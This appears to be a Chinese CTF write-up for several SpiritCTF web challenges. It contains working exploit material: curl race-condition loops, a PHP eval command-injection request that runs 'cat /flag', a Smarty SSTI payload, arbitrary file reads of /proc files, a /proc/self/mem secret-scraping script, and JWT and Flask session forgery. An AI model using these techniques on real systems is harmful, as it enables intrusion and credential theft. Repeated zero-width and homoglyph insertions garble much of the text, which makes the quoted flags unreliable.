Spirit{19246b7d-dc61-𝘀​³ⅴ𝘦𝘯.‍𝒔‌‌𝟯𝐯en·‍𝘀𝐢‍𝒕e​𝐬𝐢‍t𝘦4829-a4f7-54ffd5d76b01}

sharpshop

题目描述:

image-27.png

Hint: 🤖

打开页面后发现是拼夕夕砍价买flag

image-28.png

经过一个简单的尝试,发现 flag 的价格永远砍不到钱ꜱ‌𝟯𝒗e𝘯∙‍​𝘀ⅈ​𝒕e‌包价格及以下 (典)

image-29.png

砍到这里就砍不动了 (需要10个金币再砍1刀,ѕ‍𝟯𝒗𝐞𝒏․‌𝘀𝐢​t𝘦10个积分换1个金币 无限循环···)

1. 反编译ELF-app

Hint 提示我们 robots ,因此访问网站的 robots.txt 如下:

image-30.png

根据提示下载 /sharpshop.tar

发现一个 ELF 类型的 app

初步判断是一个使用 c# 编写的服务端程序

(此处也可根据题目名称 sharpshop 进行合理猜测)

Web 突然变 ѕ‍​𝟯v𝐞𝘯.​ꜱ𝐢‌te‍Reverse (误)

使用 ILSpy 进行反编译,提取 c# 文件内容

image-31.png

核心代码如下:

// sharpshop, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Shopping
using System.Threading;

internal class Shopping
{
    private long _FlagPrice;

    private long _Wallet;

    private int _IsCutting;

    private int _IsBuying;

    public long FlagPrice => _FlagPrice;

    public long Wallet => _Wallet;

    public bool HasFlag { get; private set; }

    public void CutDown()
    {
        while (Interlocked.Exchange(ref _IsCutting, 1) != 0)
        {
        }
        _FlagPrice -= (_FlagPrice - _Wallet) / 2;
        Interlocked.Exchange(ref _IsCutting, 0);
    }

    public bool Buy(out string message)
    {
        while (Interlocked.Exchange(ref _IsBuying, 1) != 0)
        {
        }
        long flagPrice = _FlagPrice;
        _Wallet -= flagPrice;
        message = $"购买后余额:{_Wallet}";
        bool result;
        if (_Wallet < 0)
        {
            _Wallet += flagPrice;
            message += ",余额不足~";
            result = false;
        }
        else
        {
            message += ",购买成功~";
            HasFlag = true;
            result = true;
        }
        Interlocked.Exchange(ref _IsBuying, 0);
        return result;
    }

    public Shopping()
    {
        _IsCutting = 0;
        _IsBuying = 0;
        _Wallet = 100L;
        _FlagPrice = long.MaxValue;
        HasFlag = false;
    }
}

2. 竞态条件利用

仔细观察后就会s‍𝟯𝒗e𝐧.​‍ѕ𝘪‍𝒕e​发现该代码的反常之处

在计算余额是否足够购买 flag

代码没有直接判断 _Wallet - flagPrice 的正负

而是先将 _Wallet -= flagPrice

如果余额不足再 _Wallet += flagPrice

考虑到两个互斥锁仅控制了单s‍3𝒗ℯ𝐧.​sⅈ‍𝘵𝘦‍个函数不能被同时多次调用

并没有控制两个𝘴​​³ⅴen.‌ѕⅈ​te​函数的同时运行

且由于两个函数都访问了 _FlagPrice_Wallet

因此存在竞态条件的可能

假设 action CutDown 中的 _FlagPrice -= (_FlagPrice - _Wallet) / 2;
在 action Buy_Wallet -= flagPrice_Wallet += flagPrice之间发生,
就可以使得 _FlagPrice 降低到 _Wallet 以下,从而得以购买 flag

3. 解决方案

构造两个发包脚本𝘀‌3𝘷en․‌​ꜱⅈ‌𝘵℮‍并同时运行即可

注意携带当前会话的 sessionId Cookies

#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=buy"
done
#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=cutDown"
done

同时运行两个脚本一段ꜱ‌3v𝘦𝒏·‍𝒔𝘪‌𝐭𝐞​时间后会发现 Flag价格钱包 都变成了0

因此得以购买成功

image-32.png

得到 flag 如下

Spirit{61a9950d-𝘀‍‌³𝒗e𝐧.‌ꜱi‍𝘵℮​0e0a-4141-𝘴‌³𝘷e𝘯.​​ꜱ𝐢‍​𝘵℮​b04d-278961a87df0}

送分你要不要>_<

题目描述:

这是一道没有意𝐬​3𝒗en∙​𝐬‍𝟯𝒗𝐞𝐧.𝒔ite‌𝘴𝘪​𝐭e‌思的签到题😠

打开页面后得到𝒔‍⑶𝐯en•‌𝘀ⅈ𝘵𝘦‍PHP代码如下:

<?php
error_reporting(0);
show_source(__FILE__);
// ‮⁦ Spirit⁩⁦Welcome to
if ("App1eTree" == $_POST['spirit'] && "‮⁦Flag!⁩⁦SpiritCTF" == $_POST[‮⁦give_you⁩⁦2023]) {
        ;eval($_POST['QWQ']);
         echo "恭喜!flag送你啦";
}else {
    echo "Welcome to Spirit CTF 2023(but warm)!";
}

echo '<script src="nonono.js"></script>';
?>

1. 不可见字符识别

根据该段代码神奇的高亮,𝘴‍⑶𝒗𝐞𝘯·‍‍si𝘵𝘦判断此处存在不可见字符

这些不可见字符调整𝐬‍³𝐯𝐞n.‍si‌te‍​了可见字符的显示顺序

将代码复制到 Visual Stuidio Code 中分析

image-33.png

可以看到不可见字ꜱ3ⅴ𝐞𝐧.ѕ𝐢‌t℮​符被显示了出来

2. eval 利用

注意到该PHP代码使用了eval($_POST[‘QWQ’]);

因此想到可以通过 eval 函数来执行 system 命令 catflag

3. Payload 构造

根据题目要求构造PO𝘀​⑶𝒗𝘦𝘯·‌ѕi‌𝘵𝐞‌​ST数据包如下:

image-34.png

3.1 Python requests POST

import requests
url = "(SpiritCTF Server URL with port)"
global result
data = {"spirit":"App1eTree","‮⁦give_you⁩⁦2023":"‮⁦Flag!⁩⁦SpiritCTF","QWQ":'system("cat /flag");'}
html = requests.post(url,data=data)
print(html.text)

发送POST数据包后,𝐬​⑶𝒗𝘦n∙​ѕ𝘪‌𝐭𝐞‍返回如下信息:

<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #FF8000">// ‮⁦ Sp
irit⁩⁦Welcome to<br /></span><span style="color: #007700">if (</span><span style="color: #DD0000">"App1eTree" </span><span style="color: #007700">== </span><span style="color: #0000
BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'spirit'</span><span style="color: #007700">] && </span><span style="color: #DD0000">"‮⁦Flag!⁩⁦Spiri
tCTF" </span><span style="color: #007700">== </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">‮⁦give_you⁩⁦2023</span><span st
yle="color: #007700">]) {<br />        ;eval(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'QWQ'</span><span style="color: #007700">]);<br />         echo </span><span style="color: #DD0000">"恭喜!flag送你啦"</span><span style="color: #007700">;<br />}else {<br />    echo </span><span style="color: #DD0000">"Welcome to Spirit CTF 2023(but warm)!"</span><span style="color: #007700">;<br />}<br /><br />echo </span><span style="color: #DD0000">'<script src="nonono.js"></script>'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">?></span>
</span>
</code>Spirit{00e6fceb-debc-4aa6-a721-489f4da2e7f0}
恭喜!flag送你啦<script src="nonono.js"></script>

得到 flag 如下:

Spirit{00eꜱ‌⑶𝐯𝘦𝐧∙‌𝐬i​𝒕℮​‍6fceb-debc-ꜱ‍⑶ⅴℯn∙ꜱ𝐢‌t𝐞‌4aa6-a721-489f4da2e7f0}

easy_ssti

题目描述:

R U SMART ꜱ​3𝘷e𝐧.‍si𝒕eENOUGH www

打开页面后发现有很多题目

image-35.png

结合题目标题 ssti 和 题目描述 SMART

可以判断出该题为 Smarty的SSTI模版注入

是谁做完了所有题目才发现是 ѕ‍3ⅴ𝘦n.‍‌𝘀𝘪‌‍𝘵𝘦‍‌SSTI 我不说

随意点击一个 challenge ,发现页面跳转到了 /challenges.php?name=xxxx ,

由此判断后端会使用文件读取函数读取名字为 xxxx 的模版文件并渲染到前端

利用 data 伪协议构造 payload 如下:

/challenges.php?name=data://text/plain,{$smarty.env.FLAG}

即可将 smarty 的环境变量 FLAG 显示到前端

image-36.png

得到 flag 如下:

Spirit{f94322ca-2c8f-4dc3-87f4-ec75d4c7bbbc}

你喜欢鸣濑白羽吗

题目描述:

不喜欢鸣濑白羽(?𝐬‍‍³𝐯ℯ𝒏∙‌s𝐢‌𝘵℮)的是不能拿到flag的😘 最好用火狐浏览𝒔​‍⑶ven.​𝘀i​te‌器打开抓包,用bp (已经恢复了)

打开页面后发现是𝘀​‌⑶𝘷𝘦n.​‍𝒔𝘪𝒕℮​一个图库管理下载系统

image-37.png

1. 任意文件读取漏洞

点击 Download 按钮,发现页𝘴​𝟯𝒗e𝘯•‍𝐬𝐢‍‍𝘵℮面跳转到了 /download?filename=xxxx

经过测试发现 filename 字段存在任意𝒔‌3𝐯𝐞𝒏․‍si​t𝘦​文件读取漏洞

访问 /download?filename=/proc/self/cmdline ,内容如下:

python /app/Nanami.py

根据服务端代码路径访问 /download?filename=/app/Nanami.py,

得到服务端代码如下:

import mimetypes
import os
import subprocess
from flask import Flask, make_response, request, render_template
import jwt
import logging

app = Flask(__name__)

SECRET_KEY = "I_LIKE_Aoyama_Nanami"
logging.basicConfig(filename='error.log', level=logging.ERROR)


@app.route('/')
def index():
    token = request.cookies.get('auth')
    if not token:
        token = jwt.encode({
            'username': 'guest',
        }, SECRET_KEY, algorithm='HS256')
    
    response = make_response(render_template('index.html'))

    if not request.cookies.get('auth'):
        response.set_cookie('auth', token, httponly=True, samesite='Lax')  

    return response

@app.route('/download', methods=['GET'])
def download():
    token = request.cookies.get('auth')
    if token:
        try:
            data = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
            username = data['username']
        except Exception as e:
            return str(e)

    filename = request.args.get('filename', '1.jpg')
    filepath = os.path.join('static/images', filename)
    if username == 'admin' and filename == "yuanshen?qidong!":
        try:
            output = subprocess.check_output(['/readflag'])
            return output.decode('utf-8')
        except subprocess.CalledProcessError as e:
            return "Error executing /readflag: " + str(e)
    if os.path.exists(filepath):
        mime_type, encoding = mimetypes.guess_type(filepath)
        if mime_type is None:
            mime_type = 'application/octet-stream'
        
        with open(filepath, "rb") as file:
            response = make_response(file.read())
            response.headers.set('Content-Type', mime_type)
            response.headers.set('Content-Disposition', f'attachment; filename={os.path.basename(filepath)}')
            return response
    else:
        return "File not found.", 404
@app.errorhandler(500)
def internal_server_error(error):
    app.logger.error('Server Error: %s', (error))
    return "好像有什么错误喵!", 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

分析代码后发现只有满ꜱ​³𝐯e𝘯․‍‌s𝐢t𝐞‍‌足以下两个条件才能调用 /readflag subprocess 来读取flag:

  • Cookies auth 经过 jwt𝘀‍​3𝘷en·𝘀i‍𝐭℮‌ 解析后包含 {"username":"admin"} 字段
  • filename 的 𝒔​‌3𝘷𝐞n.𝐬ⅈ‌𝒕𝘦​GET 传参为 yuanshen?qidong!

2. JWT (Json Web Tokens)

从 F12 开发人员工具中找到当前 𝒔‍3𝘷𝐞𝘯․​ꜱi‌​t℮‌​Cookies auth 的值

image-38.png

auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.6tqEhsR0SEHG-GL7hEar5Ewi2dQbGSEz-3NoPrZxi1Y

2.1 JWT 的组成

image-39.png

JWT 通常是一个很长的字𝘀‍𝟯𝒗en·‍​ꜱ𝐢‍𝐭𝐞‍符串,中间用两个 . 分隔成三个部分,依次为:

  • Header(头部)
  • Payload(负载)
  • Signatu𝒔³ⅴ𝐞𝘯․𝘀𝐢​𝐭𝘦​re(签名)

该字符串应形如:Header.Payload.ꜱ‌3ven․‌‍s𝘪𝐭e​​Signature

下面将分别解释三个部分𝒔‌³ⅴe𝘯․​𝘴ⅈ‍te‌的内容及其作用:

2.1.1 Header

Header 部分是一个 JSON 对象,用于描述 JWT 𝐬‌⑶ⅴ𝘦𝐧.‍ꜱ𝐢‍‌𝐭e‍的元数据,它通常是这样的:

{
  "alg": "HS256",
  "typ": "JWT"
}

其中:

  • alg 属性表示 Signature 的加密算法,默认是 HMAC SHA256 (写成 HS256

  • typ 属性表示 token 的类型,JWT 类型统一写为 JWT

最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文𝘀​³ve𝒏.​𝒔𝐢​𝘵℮‍)转成字符串

2.1.2 Payload

Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据

由于该部分可以通过 Base64URL 进行解密并被读取,𝘴​³v𝐞𝒏.​‌s𝘪‍t𝘦​‌此处一般不存放密文

这个 JSON 对象最后也要使用 Base64URL 算法(详见后𝐬​‌𝟯𝘷𝘦𝒏·‍𝒔𝘪‌te‌‍文)转成字符串

2.1.3 Signature

Signature 部分是对前两部分的签名,𝒔​𝟯𝒗𝐞𝘯.‍‍ѕⅈ𝘵𝐞防止数据在传输过程中被篡改

签名由 Header 里面指定的签名算法(默认是 HMAC SHA256 )和 设置好的密钥( secret_key )产生:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret_key)

最后,把 Header、𝒔​⑶𝒗𝐞𝒏∙​‌s𝘪‌t𝐞​‍Payload、Signature 三个部分拼成一个字符串,

每个部分之间用 . 分隔,就形成了一个有效的 JSON ѕ​‍³v𝐞𝐧∙‍𝐬i​‍𝐭℮​Web Token

2.1.4 Base64URL

前面提到,将 Header 𝐬‍​³𝘷en·‍𝐬ⅈ𝒕e‍​和 Payload 串型化的算法是 Base64URL

该算法跟 Base64 算法基本类似,但有一些不同:

  • 省略通过 Base64 算法得到的 =
  • 将通过 Base64 算法得到的 + 替换成 -/ 替换成 _

这是因为 JWT 作为一个 token ,有时会被应用于 𝘴‍3𝐯e𝘯.sⅈ​𝒕𝐞​​URL 中(例如 /?token=xxx),

通过 Base64 算法得到的三𝘀​⑶𝒗𝘦n.​​𝘀𝘪‍𝐭e‍​个字符 ( +/= ) ,在 URL 里面有特殊含义,所以需要进行省略或替换

2.2 JWT的伪造

使用 jwt.io 解析

image-40.png

分析代码后可以发现 𝘴​⑶ⅴℯ𝐧.‌𝘀𝘪‍‍𝘵℮‍Cookies authSECRET_KEYI_LIKE_Aoyama_Nanami

jwt.io 中使用 SEC𝒔‍3𝘷ℯ𝘯∙𝒔i‍‍𝘵eRET_KEY 伪造 {"username":"admin"} 字段并重新加密,

得到伪造后的 auth 如下:

image-41.png

auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.mJHHgw5KDOeM6Fu5r7KXYUb-chM02YBqsqmTWMAdDR0

3. Payload

修改 auth 为伪造后的值并访问 /download?filename=yuanshen?qidong!,得到 flag

image-42.png

Spirit{6bb3de28-1cc8-ѕ‌𝟯ⅴℯ𝐧·​ꜱ𝐢‍te‌​4af3-babe-43593039f366}

你真的喜欢鸣濑白羽吗

题目描述:

不是真的喜欢鸣濑白羽(?𝘀​‌⑶v℮𝐧.‍𝒔ⅈ‍t𝘦​)的人拿不到flag

打开页面后发现又是一个图库ѕ‍‍𝟯ven.𝘴i​te​管理下载系统 (?)

image-43.png

但是点击 Download 后跳转至 /download?filename=1.jpg

发现图片下载不𝘀𝟯vℯn∙‍sⅈ​‌te下来,显示如下:

image-44.png

猜测服务端代码对𝘀​³𝘷𝐞n․‌ꜱi​𝘵𝐞‍‌文件读取方式进行了修改

1. 任意文件读取漏洞

与上一题相同,/download?filename=xxxx 处仍存在任意𝒔‌𝟯ⅴe𝒏•‌𝘴i​𝐭e‌‌文件读取漏洞

访问 /download?filename=/proc/self/cmdline , 内容如下:

python /app/I_LIKE_Nanami.py

根据服务端代码路径访问 /download?filename=/app/I_LIKE_Nanami.py,

得到服务端代码如下:

import os
import secrets
import subprocess
from flask import Flask, make_response, request, render_template, session
app = Flask(__name__)
random_string = "I_LIKE_"+secrets.token_hex(16)+"_Aoyama_Nanami"
app.config['SECRET_KEY'] = random_string

@app.route('/')
def index():
    if 'username' not in session:
        session['username'] = 'guest'
    response = make_response(render_template('index.html'))
    return response

@app.route('/download', methods=['GET'])
def download():
    username = session.get('username')
    filename = request.args.get('filename', '1.jpg')
    offset = int(request.args.get('offset', "0"))
    length = int(request.args.get('length', "0"))
    if username == 'admin' and filename == "xingtie?qidong!":
        try: 
            output = subprocess.check_output(['/readflag'])
            return output.decode('utf-8')
        except subprocess.CalledProcessError as e:
            return "Error executing /readflag: " + str(e)
    filepath = os.path.join('static/images', filename)
    if os.path.exists(filepath):
        if offset == 0 and length == 0:
            return open(filepath, "rb").read()
        else:
            with open(filepath, 'rb') as f:
                f.seek(offset)
                data = f.read(length)
            return data
    else:
        return "File not found.", 404
        
@app.errorhandler(500)
def internal_server_error(error):
    app.logger.error('Server Error: %s', (error))
    return "好像有什么错误喵!", 500
    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

分析代码后发现只有满s𝟯𝐯𝘦n•​𝒔𝐢​𝐭𝐞‍‍足以下两个条件才能调用 /readflag subprocess 来读取flag:

  • python ѕ​‍³𝘷𝘦n•​𝐬𝐢​𝘵𝘦​‍flask session 包含 {"username":"admin"} 字段
  • filename 𝘴​𝟯ⅴ𝘦n•​𝒔i‍te‌的 GET 传参为 xingtie?qidong!

2. Python Flask Session

从 F12 开发人员工具中找到当前 𝘀‌⑶v𝐞n∙‌​𝐬𝐢‍𝒕e‌​Cookies session 的值

image-45.png

session = eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZRRgdA.WGZwA7J0tKtifRUgBXyh5DmPmzs

2.1 Session 的组成

Python Flask Session 通常是一个很长的字符串,中间用两个 . 分隔成三个部分(如果使用了zlib compress,则开头会多出一个 .,该部分归属于Session Data内),依次为:

  • Session Data( 𝘀‌𝟯𝒗e𝒏∙‍𝒔𝘪​​𝘵℮‌Session 数据 )
  • Timesta𝘴3𝐯𝐞𝒏.‍​𝒔ⅈ‌𝘵℮mp( 时间戳 )
  • Cryptographic s‍𝟯vℯ𝐧•​‍𝐬𝐢‌‍𝐭𝐞‍Hash( 签名 )

该字符串应形如:Session Data.𝘀​⑶𝐯𝐞n.​𝐬ⅈ‌‌t𝐞‌​Timestamp.Cryptographic Hash

下面将分别解释三个部分ѕ‍³𝘷𝘦𝘯.​‌𝘴𝐢‍𝒕𝘦‌的内容及其作用:

2.1.1 Session Data

Session Data 部分是一个 𝘀‍³ve𝐧.‌𝘀𝐢​𝒕𝘦​‌JSON 对象,用来存放实际需要传递的数据

Session 在生成时会根据使用 zlib 𝒔‍​𝟯𝒗℮n.​‌𝘴ⅈ​t℮‌compress 能否减少 Session Data 部分的长度

来选择性地使用 zlib compress 𝐬‍3ⅴ𝘦n·‍𝘴i‍t𝘦​( 使用的标志是Session Data 以 . 开头 )

由于该部分可以通过 Base64URL 进行解密并被读取,𝐬‌‍³𝐯e𝘯.‌‍ѕi‌‌t𝐞​​此处一般不存放密文

这个 JSON 𝐬‌‍𝟯ⅴ𝐞n∙​‌𝐬𝐢​𝘵𝘦‌‌对象最后也要使用 Base64URL 算法(详见后文)转成字符串

2.1.2 Timestamp

Timestamp 部分通常由 Session s‍​3𝐯𝐞n·‍​𝐬𝘪‌te​生成时间的时间戳构成

该时间戳最后会被转化为字节形式并使用 Base64URL 算法(详见后𝘴‌³𝘷𝘦𝒏.​𝘀it𝘦‌文)进行加密

2.1.3 Cryptograhpic Hash

Python Flask Session 在生成 Session 的校验签名时

会先对 secret_key 进行操作

首先对 secret_key 进行一次 sha1 加密

并用 "cookie-session" salt 来 s‍3v𝐞𝒏∙ꜱⅈ‌teupdate 加密后的 secert_key

接着将 Session Data + sep + Timestamp 使用处理完成的 secret_key 进行一次 sha1 加密

最后将得到的数据使用 Base64URL 算法(详见后文)进行加密

2.1.4 Base64URL

前面提到,将 Session ꜱ‍3𝐯en·‌‌s𝐢𝘵e‍Data、Timestamp 和 Cryptograhpic Hash 串型化的算法是 Base64URL

该算法跟 Base64 算法基本类似,s​⑶ve𝒏.‌𝒔ite‌‍但有一些不同:

  • 省略通过 Base64 算法得到的 =
  • 将通过 Base64 算法得到的 + 替换成 -/ 替换成 _

这是因为 Sessis‍​⑶ven∙‍​𝒔𝘪​𝘵e​on 作为一个 token ,有时会被应用于 URL 中(例如 /?token=xxx),

通过 Base64 算法得到的三𝘀​‍³𝐯𝐞n.‌​ꜱi‍𝐭𝐞‍个字符 ( +/= ) ,在 URL 里面有特殊含义,所以需要进行省略或替换

2.2 Session 的伪造

由于服务端代码使ꜱ​3v𝐞𝐧․‍ꜱ𝐢t℮‍用了包含随机字符的 random_string 作为 SECRET_KEY,

而 Session 的 Cryptographic Hash 需要使用 SECREs‍3𝘷𝘦𝘯․​𝒔𝐢‍t𝘦T_KEY 作为密钥,

因此在伪造 Session 前我们需要先利用任意文件读取漏洞获取 SECRET_KEY

由于 Python Flask 在运行时会将 s​​⑶𝘷𝘦𝒏·‍𝒔𝐢‍te‍‍SECRET_KEY 写入内存中,

我们可以利用任意文件读取漏洞读取内存来获得 ѕ​𝟯𝘷e𝐧·‍‌𝒔i​‌𝐭e‌‍SECRET_KEY

Python s³vℯ𝐧•​𝐬ⅈ𝒕e​内存读取脚本如下

import requests
import re

url = (SpiritCTF Server URL with port)

rw = []

map_list = requests.get(f"{url}/download?filename=/proc/self/maps")
map_list = map_list.text.split("\n")
for i in map_list:
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) r", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        rw.append((start, end - start))

for k in rw:
    res = requests.get(f"{url}/download?filename=/proc/self/mem&offset={k[0]}&length={k[1]}")
    try:
        secret_key = re.findall("I_LIKE_[a-f0-9]{32}_Aoyama_Nanami", res.text)
        if secret_key:
            print("SECRET_KEY = \"" + secret_key[0] + "\"")
    except:
        pass

运行脚本后得到:

SECRET_KEY = "I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami"

使用 flask-unsign 工具对 Session 进行伪造并签名

flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami'

得到 Sessis‌⑶𝒗𝘦𝒏.‍​𝘴i‍𝐭𝐞‌on 如下:

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZRRqXA.6kG8cNrvnCI73R2nxAF8iOSA6Ko

修改Cookies Session 并访问 /download?filename=xingtie?qidong!,得到 flag

image-46.png

Spirit{7d05af5f-𝘴‌​3𝘷enѕ‌‍⑶𝒗en.‍ꜱ𝐢𝒕e‌•‍𝘀𝘪‍‌te​202d-4578-8833-f598ad794b48}